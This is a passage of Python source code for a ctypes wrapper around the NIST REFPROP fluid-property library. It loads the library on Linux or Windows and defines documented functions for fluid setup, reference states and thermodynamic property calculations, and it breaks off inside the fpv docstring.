_rpunsetaga_, _rppreos_, _rpgetfij_, _rpb12_, \\\n _rpexcess_, _rpphiderv_, _rpcstar_, _rpsetpath_, _rpfgcty_, _rpfpv_\n \n #set fpath and filename\n if system() == 'Linux':\n if fpath == None:\n fpath = '/usr/local/lib/refprop/'\n filename = fpath.rsplit('refprop/')[0] + 'librefprop.so'\n if not path.isfile(filename):\n raise RefpropError('can not find' + filename) \n _rp = CDLL(str(filename), mode=RTLD_GLOBAL)\n elif system() == 'Windows':\n if fpath == None:\n #use the standard 2 windows options\n fpath='c:/program files/refprop/'\n #test 1\n try: listdir(fpath)\n except WindowsError:\n fpath='c:/program files (x86)/refprop/'\n #test 2\n listdir(fpath)\n filename = fpath + 'refprop.dll'\n if not path.isfile(filename):\n raise RefpropError('can not find' + filename) \n _rp = windll.LoadLibrary(str(filename))\n\n #refprop functions\n if system() == 'Linux':\n (_rpsetup0_, _rpsetmod_, _rpgerg04_, _rpsetref_, _rpsetmix_,\n _rpcritp_, _rptherm_, _rptherm0_, _rpresidual_, _rptherm2_,\n _rptherm3_, _rpchempot_, _rppurefld_, _rpname_, _rpentro_,\n _rpenthal_, _rpcvcp_, _rpgibbs_, _rpag_, _rppress_,\n _rpdpdd2_,\n _rpdcdt_, _rpdcdt2_, _rpdhd1_, _rpfugcof_, _rpdbdt_,\n _rpvirb_, _rpvirc_, _rpvird_, _rpvirba_, _rpvirca_, _rpsatt_,\n _rpsatp_, _rpsatd_, _rpsath_, _rpsate_, _rpsats_, _rpcsatk_,\n _rpdptsatk_, _rpcv2pk_, _rptprho_, _rptpflsh_, _rptdflsh_,\n _rpthflsh_, _rptsflsh_, _rpteflsh_, _rppdflsh_, _rpphflsh_,\n _rppsflsh_, _rppeflsh_, _rphsflsh_, _rpesflsh_, _rpdhflsh_,\n _rpdsflsh_, _rpdeflsh_, _rptqflsh_, _rppqflsh_, _rpthfl1_,\n _rptsfl1_, _rptefl1_, _rppdfl1_, _rpphfl1_, _rppsfl1_, _rppefl1_,\n _rphsfl1_, _rpdhfl1_, _rpdsfl1_, _rpdefl1_, _rptpfl2_, _rpdhfl2_,\n _rpdsfl2_, _rpdefl2_, _rpthfl2_, _rptsfl2_, _rptefl2_, _rptdfl2_,\n _rppdfl2_, _rpphfl2_, _rppsfl2_, _rppefl2_, _rptqfl2_, _rppqfl2_,\n _rpabfl2_, _rpinfo_, _rprmix2_, _rpxmass_, _rpxmole_, _rplimitx_,\n _rplimitk_, _rplimits_, _rpqmass_, _rpqmole_, _rpwmoldll_,\n _rpdielec_, _rpsurft_, _rpsurten_, _rpmeltt_, _rpmeltp_, _rpsublt_,\n _rpsublp_, _rptrnprp_, _rpgetktv_, _rpgetmod_, _rpsetktv_,\n _rpsetaga_, _rpunsetaga_, _rppreos_, _rpgetfij_, _rpb12_,\n _rpexcess_, _rpphiderv_, _rpcstar_, _rpsetpath_, _rpfgcty_,\n _rpfpv_) = \\\n (_rp.setup0_, _rp.setmod_, _rp.gerg04_, _rp.setref_, _rp.setmix_,\n _rp.critp_, _rp.therm_, _rp.therm0_, _rp.residual_, _rp.therm2_,\n _rp.therm3_, _rp.chempot_, _rp.purefld_, _rp.name_, _rp.entro_,\n _rp.enthal_, _rp.cvcp_, _rp.gibbs_, _rp.ag_, _rp.press_,\n _rp.dpdd2_,\n _rp.dcdt_, _rp.dcdt2_, _rp.dhd1_, _rp.fugcof_, _rp.dbdt_,\n _rp.virb_, _rp.virc_, _rp.vird_, _rp.virba_, _rp.virca_, _rp.satt_,\n _rp.satp_, _rp.satd_, _rp.sath_, _rp.sate_, _rp.sats_, _rp.csatk_,\n _rp.dptsatk_, _rp.cv2pk_, _rp.tprho_, _rp.tpflsh_, _rp.tdflsh_,\n _rp.thflsh_, _rp.tsflsh_, _rp.teflsh_, _rp.pdflsh_, _rp.phflsh_,\n _rp.psflsh_, _rp.peflsh_, _rp.hsflsh_, _rp.esflsh_, _rp.dhflsh_,\n _rp.dsflsh_, _rp.deflsh_, _rp.tqflsh_, _rp.pqflsh_, _rp.thfl1_,\n _rp.tsfl1_, _rp.tefl1_, _rp.pdfl1_, _rp.phfl1_, _rp.psfl1_, _rp.pefl1_,\n _rp.hsfl1_, _rp.dhfl1_, _rp.dsfl1_, _rp.defl1_, _rp.tpfl2_, _rp.dhfl2_,\n _rp.dsfl2_, _rp.defl2_, _rp.thfl2_, _rp.tsfl2_, _rp.tefl2_, _rp.tdfl2_,\n _rp.pdfl2_, _rp.phfl2_, _rp.psfl2_, _rp.pefl2_, _rp.tqfl2_, _rp.pqfl2_,\n _rp.abfl2_, _rp.info_, _rp.rmix2_, _rp.xmass_, _rp.xmole_, _rp.limitx_,\n _rp.limitk_, _rp.limits_, _rp.qmass_, _rp.qmole_, _rp.wmoldll_,\n _rp.dielec_, _rp.surft_, _rp.surten_, _rp.meltt_, _rp.meltp_, _rp.sublt_,\n _rp.sublp_, _rp.trnprp_, _rp.getktv_, _rp.getmod_, _rp.setktv_,\n _rp.setaga_, _rp.unsetaga_, _rp.preos_, _rp.getfij_, _rp.b12_,\n _rp.excess_, _rp.phiderv_, _rp.cstar_, _rp.setpath_, _rp.fgcty_,\n _rp.fpv_)\n \n elif system() == 'Windows':\n (_rpsetup0_, _rpsetmod_, _rpgerg04_, _rpsetref_, _rpsetmix_,\n _rpcritp_, _rptherm_, _rptherm0_, _rpresidual_, _rptherm2_,\n _rptherm3_, _rpchempot_, _rppurefld_, _rpname_, _rpentro_,\n _rpenthal_, _rpcvcp_, _rpcvcpk_, _rpgibbs_, _rpag_, _rppress_,\n _rpdpdd_, _rpdpddk_, _rpdpdd2_, _rpdpdt_, _rpdpdtk_, _rpdddp_,\n _rpdddt_, _rpdhd1_, _rpfugcof_, _rpdbdt_,\n _rpvirb_, _rpvirc_, _rpvirba_, _rpvirca_, _rpsatt_,\n _rpsatp_, _rpsatd_, _rpsath_, _rpsate_, _rpsats_, _rpcsatk_,\n _rpdptsatk_, _rpcv2pk_, _rptprho_, _rptpflsh_, _rptdflsh_,\n _rpthflsh_, _rptsflsh_, _rpteflsh_, _rppdflsh_, _rpphflsh_,\n _rppsflsh_, _rppeflsh_, _rphsflsh_, _rpesflsh_, _rpdhflsh_,\n _rpdsflsh_, _rpdeflsh_, _rptqflsh_, _rppqflsh_,\n _rppdfl1_, _rpphfl1_, _rppsfl1_,\n _rpinfo_, _rpxmass_, _rpxmole_, _rplimitx_,\n _rplimitk_, _rplimits_, _rpqmass_, _rpqmole_, _rpwmoldll_,\n _rpdielec_, _rpsurft_, _rpsurten_, _rpmeltt_, _rpmeltp_, _rpsublt_,\n _rpsublp_, _rptrnprp_, _rpgetktv_, _rpsetktv_,\n _rpsetaga_, _rpunsetaga_, _rppreos_, _rpgetfij_, _rpb12_,\n _rpcstar_, _rpsetpath_, _rpfgcty_,\n _rpfpv_) = \\\n (_rp.SETUPdll, _rp.SETMODdll, _rp.GERG04dll, _rp.SETREFdll,\n _rp.SETMIXdll, _rp.CRITPdll, _rp.THERMdll, _rp.THERM0dll,\n _rp.RESIDUALdll, _rp.THERM2dll, _rp.THERM3dll, _rp.CHEMPOTdll,\n _rp.PUREFLDdll, _rp.NAMEdll, _rp.ENTROdll, _rp.ENTHALdll, _rp.CVCPdll,\n _rp.CVCPKdll, _rp.GIBBSdll, _rp.AGdll, _rp.PRESSdll, _rp.DPDDdll,\n _rp.DPDDKdll, _rp.DPDD2dll, _rp.DPDTdll, _rp.DPDTKdll, _rp.DDDPdll,\n _rp.DDDTdll, _rp.DHD1dll, _rp.FUGCOFdll,\n _rp.DBDTdll, _rp.VIRBdll, _rp.VIRCdll, _rp.VIRBAdll,\n _rp.VIRCAdll, _rp.SATTdll, _rp.SATPdll, _rp.SATDdll, _rp.SATHdll,\n _rp.SATEdll, _rp.SATSdll, _rp.CSATKdll, _rp.DPTSATKdll, _rp.CV2PKdll,\n _rp.TPRHOdll, _rp.TPFLSHdll, _rp.TDFLSHdll, _rp.THFLSHdll,\n _rp.TSFLSHdll, _rp.TEFLSHdll, _rp.PDFLSHdll, _rp.PHFLSHdll, _rp.PSFLSHdll,\n _rp.PEFLSHdll, _rp.HSFLSHdll, _rp.ESFLSHdll, _rp.DHFLSHdll,\n _rp.DSFLSHdll, _rp.DEFLSHdll, _rp.TQFLSHdll, _rp.PQFLSHdll,\n _rp.PDFL1dll, _rp.PHFL1dll,\n _rp.PSFL1dll,\n _rp.INFOdll, _rp.XMASSdll, _rp.XMOLEdll,\n _rp.LIMITXdll, _rp.LIMITKdll, _rp.LIMITSdll, _rp.QMASSdll, _rp.QMOLEdll,\n _rp.WMOLdll, _rp.DIELECdll, _rp.SURFTdll, _rp.SURTENdll, _rp.MELTTdll,\n _rp.MELTPdll, _rp.SUBLTdll, _rp.SUBLPdll, _rp.TRNPRPdll, _rp.GETKTVdll,\n _rp.SETKTVdll, _rp.SETAGAdll, _rp.UNSETAGAdll,\n _rp.PREOSdll, _rp.GETFIJdll, _rp.B12dll,\n _rp.CSTARdll, _rp.SETPATHdll, _rp.FGCTYdll, _rp.FPVdll)\n #set path for refprop\n _hpth.value = fpath.encode('ascii')\n _rpsetpath_(byref(_hpth), c_long(255))\n\n return fpath\n\n#REFPROP functions\ndef setup(hrf, *hfld, hfmix='HMX.BNC'):\n '''Define models and initialize arrays.\n A call to this routine is required.\n\n Inputs 'in string format':\n hrf - reference state for thermodynamic calculations\n 'def' : Default reference state as specified in fluid file is\n applied to each pure component.\n 'nbs' : h,s = 0 at pure component normal boiling point(s).\n 'ash' : h,s = 0 for sat liquid at -40 C (ASHRAE convention)\n 'iir' : h = 200, s = 1.0 for sat liq at 0 C (IIR convention) Other\n choises are possible but require a separate call to SETREF\n *hfld - file names specifying fluid mixture components\n select from user fluid.FLD and mixture.MIX files at root directory\n input without extention.\n Pseudo-Pure Fluids (PPF) files are required to have the extention\n included\n hfmix--file name [character*255] containing parameters for the binary\n mixture model'''\n global _nc_rec, _fpath, _gerg04_pre_rec, _setmod_pre_rec, _setup_rec\n global _setmod_rec, _gerg04_rec, _setref_rec, _purefld_rec, _setktv_rec\n global _setaga_rec, _preos_rec, _setupprop\n _inputerrorcheck(locals())\n\n #define setup record for Fluidmodel\n _setup_rec = _Setuprecord(copy(locals()), '_setup_rec')\n\n #empty global setup storage for new population\n _setupprop = {}\n\n #load refprop shared library\n if _fpath == '':\n setpath()\n\n fluidname = ''\n listhfld = []\n\n #create listing of input *hfld (in either list format or *arg string format)\n for each in hfld:\n if each.__class__ is list:\n for other in each:\n listhfld.append(other.upper())\n elif each.__class__ is str:\n listhfld.append(each.upper())\n \n #create RP input format with file directory structure and file extention\n for each in listhfld:\n if _fluidextention()[_fpath + 'fluids/'].__contains__(each):\n if each[-4:] == '.PPF':\n fluidname += _fpath + 'fluids/' + each + '|'\n else: fluidname += _fpath + 'fluids/' + each + '.FLD|'\n elif _fluidextention()[_fpath + 'mixtures/'].__contains__(each):\n fluidname += _fpath + 'mixtures/' + each + '.MIX|'\n\n nc = len(listhfld)\n _nc_rec = _Setuprecord(nc, '_nc_rec')\n\n if '_preos_rec' in _Setuprecord.object_list:\n _preos_rec = None\n if '_setaga_rec' in _Setuprecord.object_list:\n _setaga_rec = None\n if '_setref_rec' in _Setuprecord.object_list:\n _setref_rec = None\n if '_setktv_rec' in _Setuprecord.object_list:\n _setktv_rec = None\n if '_purefld_rec' in _Setuprecord.object_list:\n _purefld_rec = None\n\n #determine if SETMOD needs to be called\n if '_setmod_pre_rec' in _Setuprecord.object_list:\n #call setmod\n ierr, herr = _setmod(nc, _setmod_pre_rec.record['htype'],\n _setmod_pre_rec.record['hmix'],\n _setmod_pre_rec.record['hcomp'])\n\n _prop(ierr = ierr, herr = herr, defname = '_setmod')\n \n #reset SETMOD from record\n elif '_setmod_rec' in _Setuprecord.object_list:\n _setmod_rec = None\n \n #determine if GERG04 needs to be called\n if '_gerg04_pre_rec' in _Setuprecord.object_list:\n ierr, herr = _gerg04(nc, _gerg04_pre_rec.record['ixflag'])\n\n _prop(ierr = ierr, herr = herr, defname = '_gerg04')\n\n #reset GERG04 from record\n elif '_gerg04_rec' in _Setuprecord.object_list:\n _gerg04_rec = None\n \n #determine standard mix (handled by setmix) or user defined mixture\n #(handled by setupdll)\n if fluidname.__contains__('.MIX|'):\n if len(listhfld) > 1:\n raise RefpropinputError ('too many standard mixture input, ' +\n 'can only select one')\n for item in listhfld:\n mix = str(item)\n return _setmix(mix, hrf, hfmix)\n else:\n if 'hmxnme' in _setupprop:\n _setupprop.__delitem__('hmxnme')\n _setupprop['hfld'], _setupprop['nc'] = listhfld, nc\n _setupprop['hrf'], _setupprop['hfmix'] = hrf.upper(), hfmix\n return _setup0(nc, fluidname, hfmix, hrf)\n\n\ndef setmod(htype='NBS', hmix='NBS', *hcomp):\n '''Set model(s) other than the NIST-recommended ('NBS') ones.\n\n This subroutine must be called before SETUP; it need not be called at\n all if the default (NIST-recommended) models are desired.\n\n inputs 'in string format':\n htype - flag indicating which models are to be set [character*3]:\n 'EOS': equation of state for thermodynamic properties\n 'ETA': viscosity\n 'TCX': thermal conductivity\n 'STN': surface tension\n 'NBS': reset all of the above model types and all subsidiary\n component models to 'NBS'; values of hmix and hcomp are ignored\n hmix--mixture model to use for the property specified in htype\n [character*3]:\n ignored if number of components = 1\n some allowable choices for hmix:\n 'NBS': use NIST recommendation for specified fluid/mixture\n 'HMX': mixture Helmholtz model for thermodynamic properties\n 'ECS': extended corresponding states for viscosity or therm. cond.\n 'STX': surface tension mixture model\n hcomp--component model(s) to use for property specified in htype\n [array (1..nc) of character*3]:\n 'NBS': NIST recommendation for specified fluid/mixture\n some allowable choices for an equation of state:\n 'FEQ': Helmholtz free energy model\n 'BWR': pure fluid modified Benedict-Webb-Rubin (MBWR)\n 'ECS': pure fluid thermo extended corresponding states\n some allowable choices for viscosity:\n 'ECS': extended corresponding states (all fluids)\n 'VS1': the 'composite' model for R134a, R152a, NH3, etc.\n 'VS2': Younglove-Ely model for hydrocarbons\n 'VS4': Generalized friction theory of Quinones-Cisneros and\n Deiters\n 'VS5': Chung et al. (1988) predictive model\n some allowable choices for thermal conductivity:\n 'ECS': extended corresponding states (all fluids)\n 'TC1': the 'composite' model for R134a, R152a, etc.\n 'TC2': Younglove-Ely model for hydrocarbons\n 'TC5': Chung et al. (1988) predictive model\n some allowable choices for surface tension:\n 'ST1': surface tension as f(tau); tau = 1 - T/Tc'''\n global _setmod_pre_rec\n _inputerrorcheck(locals())\n\n #hcomp correction\n #no input for hcomp\n if len(hcomp) == 0:\n hcomp = []\n #list input for hcomp\n elif hcomp[0].__class__ is list:\n hcomp = hcomp[0]\n #str's input for hcomp\n else:\n hcomp = [each for each in hcomp]\n\n #define setup record for FluidModel\n _setmod_pre_rec = _Setuprecord(copy(locals()), '_setmod_pre_rec')\n\n\ndef gerg04(ixflag=0):\n '''set the pure model(s) to those used by the GERG 2004 formulation.\n\n This subroutine must be called before SETUP; it need not be called\n at all if the default (NIST-recommended) models are desired.\n To turn off the GERG settings, call this routine again with iflag=0,\n and then call the SETUP routine to reset the parameters of the equations\n of state.\n\n inputs:\n ixflag--set to 1 to load the GERG 2004 equations, set to 0 for defaults'''\n global _gerg04_pre_rec\n _inputerrorcheck(locals())\n\n _gerg04_pre_rec = _Setuprecord(copy(locals()), '_gerg04_pre_rec')\n\n if not (ixflag == 0 or ixflag == 1):\n raise RefpropinputError('ixflag value for function \"gerg04\" ' +\n 'should either be 0 (default) or 1')\n\n\n#refprop functions\ndef _setup0(nc, fluidname, hfmix, hrf):\n global _fpath\n _nc.value = nc\n _hfld.value = fluidname.encode('ascii')\n if hfmix == 'HMX.BNC':\n _hfmix.value = (_fpath + 'fluids/HMX.BNC').encode('ascii')\n else:\n _hfmix.value = hfmix.encode('ascii')\n _hrf.value = hrf.upper().encode('ascii')\n\n _rpsetup0_(byref(_nc), byref(_hfld), byref(_hfmix), byref(_hrf),\n byref(_ierr), byref(_herr), c_long(10000), c_long(255),\n c_long(3), c_long(255))\n \n\n return _prop(ierr = _ierr.value, herr = _herr.value, defname = '_setup0')\n\n\ndef _setmod(nc, htype, hmix, hcomp):\n global _setmod_rec, _setmod_pre_rec, _setupprop\n\n #verify multiple model calls\n _checksetupmodel('setmod')\n\n #define setup record for FluidModel\n if '_setmod_pre_rec' in _Setuprecord.object_list:\n if htype.upper() == 'NBS':\n if '_setmod_rec' in _Setuprecord.object_list:\n _setmod_rec = None\n if 'setmod' in _setupprop:\n _setupprop.__delitem__('setmod')\n else:\n _setmod_rec = _Setuprecord(_setmod_pre_rec.record, '_setmod_rec')\n if nc == 1:\n _setmod_rec.record.__delitem__('hmix')\n _setupprop['setmod'] = _setmod_rec.record\n\n _setmod_pre_rec = None\n\n _nc.value = nc\n _htype.value = htype.encode('ascii')\n _hmix.value = hmix.encode('ascii')\n for each in range(len(hcomp)):\n _hcomp[each].value = hcomp[each].encode('ascii')\n \n _rpsetmod_(byref(_nc), byref(_htype), byref(_hmix), byref(_hcomp),\n byref(_ierr), byref(_herr), c_long(3), c_long(3), c_long(3),\n c_long(255))\n \n return _ierr.value, _herr.value\n\n\ndef _gerg04(nc, ixflag):\n global _gerg04_rec, _gerg04_pre_rec, _setupprop\n\n #verify multiple model calls\n _checksetupmodel('gerg04')\n\n #define setup record for FluidModel\n if '_gerg04_pre_rec' in _Setuprecord.object_list:\n if ixflag == 1:\n _gerg04_rec = _Setuprecord(_gerg04_pre_rec.record, '_gerg04_rec')\n _setupprop['gerg04'] = _gerg04_pre_rec.record\n if ixflag == 0:\n if '_gerg04_rec' in _Setuprecord.object_list:\n _gerg04_rec = None\n if 'gerg04' in _setupprop:\n _setupprop.__delitem__('gerg04')\n _gerg04_pre_rec = None\n\n if ixflag == 1:\n _nc.value = nc\n _ixflag.value = ixflag\n \n _rpgerg04_(byref(_nc), byref(_ixflag), byref(_ierr), byref(_herr),\n c_long(255))\n \n return _ierr.value, _herr.value\n #system tweak as refprop call gerg04(ixflag=0) does not reset properly\n elif ixflag == 0:\n return 0, ''\n\n\ndef setref(hrf='DEF', ixflag=1, x0=[1], h0=0, s0=0, t0=273, p0=100):\n '''set reference state enthalpy and entropy\n\n This subroutine must be called after SETUP; it need not be called at all\n if the reference state specified in the call to SETUP is to be used.\n\n inputs:\n hrf--reference state for thermodynamic calculations [character*3]\n 'NBP': h,s = 0 at normal boiling point(s)\n 'ASH': h,s = 0 for sat liquid at -40 C (ASHRAE convention)\n 'IIR': h = 200, s = 1.0 for sat liq at 0 C (IIR convention)\n 'DEF': default reference state as specified in fluid file is\n applied to each component (ixflag = 1 is used)\n 'OTH': other, as specified by h0, s0, t0, p0 (real gas state)\n 'OT0': other, as specified by h0, s0, t0, p0 (ideal gas state)\n '???': change hrf to the current reference state and exit.\n ixflag--composition flag:\n 1 = ref state applied to pure components\n 2 = ref state applied to mixture icomp\n following input has meaning only if ixflag = 2\n x0--composition for which h0, s0 apply; list(1:nc) [mol frac]\n this is useful for mixtures of a predefined composition, e.g.\n refrigerant blends such as R410A\n following inputs have meaning only if hrf = 'OTH'\n h0--reference state enthalpy at t0,p0 {icomp} [J/mol]\n s0--reference state entropy at t0,p0 {icomp} [J/mol-K]\n t0--reference state temperature [K]\n t0 = -1 indicates saturated liquid at normal boiling point\n (bubble point for a mixture)\n p0--reference state pressure [kPa]\n p0 = -1 indicates saturated liquid at t0 {and icomp}\n p0 = -2 indicates saturated vapor at t0 {and icomp}'''\n _inputerrorcheck(locals())\n global _setref_rec, _setupprop\n\n #define setup record for FluidModel\n if hrf.upper() != 'DEF':\n _setref_rec = _Setuprecord(copy(locals()), '_setref_rec')\n elif 'setref_rec' in _Setuprecord.object_list:\n _setref_rec = None\n\n for each in range(_maxcomps): _x0[each] = 0\n for each in range(len(x0)): _x0[each] = x0[each]\n _hrf.value = hrf.upper().encode('ascii')\n _ixflag.value = ixflag\n _h0.value, _s0.value, _t0.value, _p0.value = h0, s0, t0, p0\n \n _rpsetref_(byref(_hrf), byref(_ixflag), byref(_x0), byref(_h0),\n byref(_s0), byref(_t0), byref(_p0), byref(_ierr),\n byref(_herr), c_long(3), c_long(255))\n \n if (hrf.upper() != 'DEF' and hrf.upper() != 'NBP' and hrf.upper() != 'ASH'\n and hrf.upper() != 'IIR'):\n href = {}\n if hrf == '???':\n href['hrf'] = [_setupprop['setref']['hrf'][0], hrf]\n if 'ixflag' in _setupprop['setref']:\n href['ixflag'] = _setupprop['setref']['ixflag']\n if 'x' in _setupprop['setref']:\n href['x0'] = _setupprop['setref']['x0']\n if 'h0' in _setupprop['setref']:\n href['h0'] = _setupprop['setref']['h0']\n if 's0' in _setupprop['setref']:\n href['s0'] = _setupprop['setref']['s0']\n if 't0' in _setupprop['setref']:\n href['t0'] = _setupprop['setref']['t0']\n if 'p0' in _setupprop['setref']:\n href['p0'] = _setupprop['setref']['p0']\n else:\n href['hrf'] = [hrf.upper()]\n href['ixflag'] = ixflag\n if ixflag == 2: href['x0'] = x0\n if hrf.upper() == 'OTH':\n href['h0'] = h0\n href['s0'] = s0\n href['t0'] = t0\n href['p0'] = p0\n _setupprop['setref'] = href\n elif hrf.upper() != 'DEF':\n _setupprop['setref'] = {'hrf':[hrf.upper()]}\n else:\n if 'setref' in _setupprop:\n _setupprop.__delitem__('setref')\n\n return _prop(ierr = _ierr.value, herr = _herr.value, defname = 'setref')\n \n\ndef _setmix(hmxnme, hrf, hfmix):\n global _nc_rec, _setupprop\n _inputerrorcheck(locals())\n _hmxnme.value = (hmxnme + '.MIX').encode('ascii')\n _hfmix.value = hfmix.encode('ascii')\n _hrf.value = hrf.upper().encode('ascii')\n\n _rpsetmix_(byref(_hmxnme), byref(_hfmix), byref(_hrf), byref(_nc),\n byref(_hfld), _x, byref(_ierr), byref(_herr), c_long(255),\n c_long(255), c_long(3), c_long(10000), c_long(255))\n \n hfld = []\n _nc_rec = _Setuprecord(_nc.value, '_nc_rec')\n for each in range(_nc.value):\n hfld.append(_name(each + 1))\n\n x = normalize([_x[each] for each in range(_nc.value)])['x']\n _setupprop['hmxnme'], _setupprop['hrf'] = hmxnme, hrf.upper()\n _setupprop['nc'], _setupprop['hfld'] = _nc.value, hfld\n _setupprop['hfmix'] = hfmix\n return _prop(x = x, ierr = _ierr.value, herr = _herr.value,\n defname = 'setmix')\n\n\ndef critp(x):\n '''critical parameters as a function of composition\n\n input:\n x--composition [list of mol frac]\n outputs:\n tcrit--critical temperature [K]\n pcrit--critical pressure [kPa]\n Dcrit--critical density [mol/L]'''\n\n _inputerrorcheck(locals())\n for each in range(len(x)): _x[each] = x[each]\n \n _rpcritp_(_x, byref(_tcrit), byref(_pcrit), byref(_Dcrit),\n byref(_ierr), byref(_herr), c_long(255))\n \n return _prop(x = x, tcrit = _tcrit.value, pcrit = _pcrit.value,\n Dcrit = _Dcrit.value, ierr = _ierr.value, herr = _herr.value,\n defname = 'critp')\n \n\ndef therm(t, D, x):\n '''Compute thermal quantities as a function of temperature, density and\n compositions using core functions (Helmholtz free energy, ideal gas heat\n capacity and various derivatives and integrals). Based on derivations in\n Younglove & McLinden, JPCRD 23 #5, 1994, Appendix A for\n pressure-explicit equations (e.g. MBWR) and c Baehr & Tillner-Roth,\n Thermodynamic Properties of Environmentally Acceptable Refrigerants,\n Berlin: Springer-Verlag (1995) for Helmholtz-explicit equations (e.g.\n FEQ).\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n p--pressure [kPa]\n e--internal energy [J/mol]\n h--enthalpy [J/mol]\n s--entropy [J/mol-K]\n cv--isochoric heat capacity [J/mol-K]\n cp--isobaric heat capacity [J/mol-K]\n w--speed of sound [m/s]\n hjt--isenthalpic Joule-Thompson coefficient [K/kPa]'''\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rptherm_(byref(_t), byref(_D), _x, byref(_p), byref(_e), byref(_h),\n byref(_s), byref(_cv), byref(_cp), byref(_w), byref(_hjt))\n\n return _prop(x = x, D = D, t = t, p = _p.value, e = _e.value, h = _h.value,\n s = _s.value, cv = _cv.value, cp = _cp.value, w = _w.value,\n hjt = _hjt.value)\n\n\ndef therm0(t, D, x):\n '''Compute ideal gas thermal quantities as a function of temperature,\n density and compositions using core functions.\n\n This routine is the same as THERM, except it only calculates ideal gas\n properties (Z=1) at any temperature and density\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n p--pressure [kPa]\n e--internal energy [J/mol]\n h--enthalpy [J/mol]\n s--entropy [J/mol-K]\n cv--isochoric heat capacity [J/mol-K]\n cp--isobaric heat capacity [J/mol-K]\n w--speed of sound [m/s]\n A--Helmholtz energy [J/mol]\n G--Gibbs free energy [J/mol]'''\n _inputerrorcheck(locals())\n _t.value = t\n _D.value = D\n for each in range(len(x)): _x[each] = x[each]\n\n _rptherm0_(byref(_t), byref(_D), _x, byref(_p), byref(_e), byref(_h),\n byref(_s), byref(_cv), byref(_cp), byref(_w), byref(_A),\n byref(_G))\n \n return _prop(x = x, D = D, t = t, p = _p.value, e = _e.value, h = _h.value,\n s = _s.value, cv = _cv.value, cp = _cp.value, w = _w.value,\n A = _A.value, G = _G.value)\n\n\ndef residual (t, D, x):\n '''compute the residual quantities as a function of temperature, density,\n and compositions (where the residual is the property minus the ideal gas\n portion).\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n pr--residual pressure [kPa] (p-rho*R*T)\n er--residual internal energy [J/mol]\n hr--residual enthalpy [J/mol]\n sr--residual entropy [J/mol-K]\n Cvr--residual isochoric heat capacity [J/mol-K]\n Cpr--residual isobaric heat capacity [J/mol-K]\n Ar--residual Helmholtz energy [J/mol]\n Gr--residual Gibbs free energy [J/mol]'''\n _inputerrorcheck(locals())\n _t.value = t\n _D.value = D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpresidual_(byref(_t), byref(_D), _x, byref(_pr), byref(_er),\n byref(_hr), byref(_sr), byref(_cvr), byref(_cpr),\n byref(_Ar), byref(_Gr))\n \n return _prop(x = x, D = D, t = t, pr = _pr.value, er = _er.value,\n hr = _hr.value, sr = _sr.value, cvr = _cvr.value, cpr = _cpr.value,\n Ar = _Ar.value, Gr = _Gr.value)\n\n\ndef therm2(t, D, x):\n '''Compute thermal quantities as a function of temperature, density and\n compositions using core functions (Helmholtz free energy, ideal gas heat\n capacity and various derivatives and integrals).\n\n This routine is the same as THERM, except that additional properties are\n calculated\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n p--pressure [kPa]\n e--internal energy [J/mol]\n h--enthalpy [J/mol]\n s--entropy [J/mol-K]\n cv--isochoric heat capacity [J/mol-K]\n cp--isobaric heat capacity [J/mol-K]\n w--speed of sound [m/s]\n Z--compressibility factor (= PV/RT) [dimensionless]\n hjt--isenthalpic Joule-Thompson coefficient [K/kPa]\n A--Helmholtz energy [J/mol]\n G--Gibbs free energy [J/mol]\n xkappa--isothermal compressibility (= -1/V dV/dp = 1/D dD/dp) [1/kPa]\n beta--volume expansivity (= 1/V dV/dt = -1/D dD/dt) [1/K]\n dpdD--derivative dP/dD [kPa-L/mol]\n d2pdD2--derivative d^2p/dD^2 [kPa-L^2/mol^2]\n dpdt--derivative dp/dt [kPa/K]\n dDdt--derivative dD/dt [mol/(L-K)]\n dDdp--derivative dD/dp [mol/(L-kPa)]\n spare1 to 4--space holders for possible future properties'''\n _inputerrorcheck(locals())\n _t.value = t\n _D.value = D\n for each in range(len(x)): _x[each] = x[each]\n\n _rptherm2_(byref(_t), byref(_D), _x, byref(_p), byref(_e), byref(_h),\n byref(_s), byref(_cv), byref(_cp), byref(_w), byref(_Z),\n byref(_hjt), byref(_A), byref(_G), byref(_xkappa),\n byref(_beta), byref(_dpdD), byref(_d2pdD2), byref(_dpdt),\n byref(_dDdt), byref(_dDdp), byref(_spare1), byref(_spare2),\n byref(_spare3), byref(_spare4))\n\n return _prop(x = x, D = D, t = t, p = _p.value, e = _e.value, h = _h.value,\n s = _s.value, cv = _cv.value, cp = _cp.value, w = _w.value,\n Z = _Z.value, hjt = _hjt.value, A = _A.value, G = _G.value,\n xkappa = _xkappa.value, beta = _beta.value, dpdD = _dpdD.value,\n d2pdD2 = _d2pdD2.value, dpdt = _dpdt.value, dDdt = _dDdt.value,\n dDdp = _dDdp.value)\n\n\ndef therm3(t, D, x):\n '''Compute miscellaneous thermodynamic properties\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition [array of mol frac]\n outputs:\n xkappa--Isothermal compressibility\n beta--Volume expansivity\n xisenk--Isentropic expansion coefficient\n xkt--Isothermal expansion coefficient\n betas--Adiabatic compressibility\n bs--Adiabatic bulk modulus\n xkkt--Isothermal bulk modulus\n thrott--Isothermal throttling coefficient\n pint--Internal pressure\n spht--Specific heat input'''\n _inputerrorcheck(locals())\n _t.value = t\n _D.value = D\n for each in range(len(x)): _x[each] = x[each]\n \n _rptherm3_(byref(_t), byref(_D), _x, byref(_xkappa), byref(_beta),\n byref(_xisenk), byref(_xkt), byref(_betas), byref(_bs),\n byref(_xkkt), byref(_thrott), byref(_pint), byref(_spht))\n \n return _prop(x = x, D = D, t = t, xkappa = _xkappa.value,\n beta = _beta.value, xisenk = _xisenk.value, xkt = _xkt.value,\n betas = _betas.value, bs = _bs.value, xkkt = _xkkt.value,\n thrott = _thrott.value, pint = _pint.value, spht = _spht.value)\n\n\ndef fpv(t, D, p, x):\n '''Compute the supercompressibility factor, Fpv.\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n p--pressure [kPa]\n x--composition [array of mol frac]\n outputs:\n 